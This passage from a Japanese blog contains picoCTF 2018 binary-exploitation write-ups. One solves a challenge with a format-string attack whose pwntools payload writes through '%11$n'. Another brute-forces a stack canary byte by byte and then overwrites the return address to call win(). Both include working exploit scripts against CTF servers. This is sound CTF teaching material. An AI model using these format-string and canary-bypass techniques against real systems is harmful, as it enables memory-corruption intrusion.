スクリーンショット 2018-11-11 7.09.24.png

flag()が呼び出されました。
アセンブラは以下です。

gdb-peda$ disassemble flag
Dump of assembler code for function flag:
   0x0804862b <+0>:	push   ebp
   0x0804862c <+1>:	mov    ebp,esp
      略
   0x08048693 <+104>:	cmp    DWORD PTR [ebp+0x8],0xdeadbaad
      略
   0x08048712 <+231>:	leave  
   0x08048713 <+232>:	ret    
End of assembler dump.

同様に引数へのアクセスと、関数から抜けるところを図示します。

スクリーンショット 2018-11-11 7.14.21.png

確かに引数は狙い通りの 0xdeadbaad にアクセスしています。
flag()からの戻りアドレスはwin_function2()の引数に設定した値になっています。なのでflag()から抜けるとフォルトするはずです(実際フォルトしてコアダンプしてます)。

スクリーンショット 2018-11-11 7.19.13.png

スクリーンショット 2018-11-11 7.19.24.png

戻りアドレス、引数の積み方をみるとropはどんな関数でも、どんな順序でも呼べるわけではないですね。。

authenticate - Points: 350 Binary Exploitation

Solve
Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 52398. Source.

Hints
What happens if you say something OTHER than yes or no?

方針

auth.c

int authenticated = 0; // ・・・(1)

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  fgets(flag, sizeof(flag), file);
  printf("%s", flag); // ・・・(2)
  return 0;
}

void read_flag() {
  if (!authenticated) { // ・・・(3)
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    flag(); // ・・・(4)
  }
}

int main(int argc, char **argv) {

  char buf[64];
  
  printf("Would you like to read the flag? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin); // ・・・(5)
  
  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) { // ・・・(6)
    puts("Received Unknown Input:\n");
    printf(buf); // ・・・ (7)
  }
  
  read_flag(); // ・・・(8)

}

フラグが表示される道筋は、(8)→(3)→(4)→(2)です。
外部変数の authenticated (1)の値が0以外とならなければ(4)に到達できません。
authenticatedにどうにかして値を書き込まなければいけませんが、外部変数なのでスタックではなくヒープに位置しており、バッファーオーバーフローでスタックを書き換える手も使えません。

しかし(7)で脆弱なprintf(buf)があります。これを使って外部変数を書き換えられるでしょうか。。

writeup

ここを参考にしてwriteupを書きます。

脆弱なprintf(buf)に対し、「フォーマット文字列攻撃」を行います(解説)。

フォーマット文字列攻撃に必要なのは以下のステップです。
A) authenticatedのアドレスを取得する
B) スタックに積む
C) スタックに積んだauthenticatedのアドレスが指す先に対して0以外の値を書き込む

まず A) authenticatedのアドレスですが、idaで read_flag() を調べます。
スクリーンショット 2018-11-04 6.29.23.png

mov     eax, ds:authenticated

とあるので、ds:authenticatedをダブルクリックします。

スクリーンショット 2018-11-04 6.29.54.png

authenticatedのアドレスは、0x0804A04Cであることがわかりました。

次にB) スタックに積むことを考えます。

$ echo "AAAA 1=%x 2=%x 3=%x 4=%x 5=%x 6=%x 7=%x 8=%x 9=%x 10=%x 11=%x 12=%x 13=%x 14=%x"|./auth
Would you like to read the flag? (yes/no)
Received Unknown Input:

AAAA 1=80489a6 2=f7f1a5a0 3=804875a 4=f7f5e000 5=f7f5e918 6=ff92f820 7=ff92f914 8=0 9=ff92f8b4 10=3e8 11=41414141 1Sorry, you are not *authenticated*!

printf("AAAA 1=%x 2=%x 3=%x 4=%x 5=%x 6=%x 7=%x 8=%x 9=%x 10=%x 11=%x 12=%x 13=%x 14=%x");
とすると、引数を積んでいなくてもスタックを走査し、積まれている値を書き出してくれます。
先頭に書いた"AAAA" 4Byteは11番目の引数になっていることがわかりました。
つまり、"AAAA"(4Byte) をauthenticatedのアドレス(4Byte)に置き換えればスタックに積まれるということになります。そしてその位置はprintfの11番目の引数の位置ですね。

最後の C) ですが、これがフォーマット文字列攻撃の %n を使用します。

printf("aaa%n", &authenticated);
とすれば、authenticatedは3と、%nが出る直前までに出力された文字列のバイト数が入ります。

よって、11番目の引数に対して値が入るようにすればよいので、B)と組み合わせ

printf("<&authenticated>%11$n")

とします。(%11$n は、11$が11番目の引数を表し、%nは直前までに出力されたバイト数を書き出すと読みます。)

最後に攻撃コードです。

mypwn.py
from pwn import *

user = "<ユーザID>"
pw = "<パスワード>"

p = remote('2018shell1.picoctf.com', 52398)
print p.recvuntil('Would you like to read the flag? (yes/no)')
payload = p32(0x804a04c) + '%11$n'
p.sendline(payload)
print p.recvall()

ターミナルから

$ python mypwn.py

でフラグが得られます。

buffer overflow 3 - Points: 450 Binary Exploitation

Solve
It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag? You can find it in /problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e. Source(vuln.c).

Hints
Maybe there's a smart way to brute-force the canary?

vuln.c
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");

  fgets(buf,FLAGSIZE,f);
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE); //・・・(1)
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count); //・・・(2)

   if (memcmp(canary,global_canary,CANARY_SIZE)) { //・・・(3)
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1); //・・・(4)
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  read_canary();
  vuln();
  return 0;
}

参照writeup

方針
win()を呼び出せればflagが表示されます。そのためには(2)でバッファーオーバーフローさせる入力でvuln()の戻りアドレスをwin()のアドレスとすればよいです。

今回違うのはcanary(カナリア)がバッファーオーバーフローを検知・防いでいるところです。
カナリアを汚さずに戻りアドレスを書き換える必要があります。

攻撃は2段階、

  1. カナリアの値を知る
  2. カナリアを正しい値で上書きしつつ、win()のアドレスを書き込む
    です。

カナリアの説明は以下参照のこと。
IPA セキュアコーディングC/C++編
wikipedia stack buffer overflow#canaries

writeup

vuln()のバッファーオーバーフローを狙うときのスタック構成は下図です。

スクリーンショット 2018-11-11 11.40.41.png

canary[]は4Byteなので総当たりでやることも可能ですが、もうちょっとスマートにやります。
方法は、1Byteづつ検査することです。
bufは32Byte、直後にcanaryなので、buf先頭から33Byte目に書き込んだ値はcanary[0]になります。
canary[0]は1Byte(=0〜255)なので256種類を試せばいつか合致する値を見つけられます。
正しいcanary[0]の値が見つかったので次はcanary[1]だけまた0〜255まで試す。。と言うことを続ければ正しいcanaryが現実的な時間で見つかります。(といっても30分程度かかりました)

mypwn.py

user='ユーザー名'
pw='パスワード'

sh = ssh(host = '2018shell1.picoctf.com', user=user, password=pw)
sh.set_working_directory('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e')

winAddr = 0x080486eb

canary = ''
for i in range(1, 5):
  for e in range(256):
    p = sh.process('./vuln')
    p.sendlineafter('> ', str(32+i))
    p.sendafter('> ', 'a'*32+canary+chr(e))
    output = p.recvall()
    if 'Stack' not in output:
      print output
      canary += chr(e)
      break
print 'canary is ' + canary

# canary = 'abcd'

p = sh.process('./vuln')
p.sendlineafter('> ', str(200))
p.sendlineafter('> ', 'a'*32+canary+'a'*16+p32(winAddr))
p.interactive()

echo back - Points: 500 Binary Exploitation

are you root? - Points: 550 Binary Exploitation

gps - Points: 550 Binary Exploitation

can-you-gets-me - Points: 650 Binary Exploitation

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?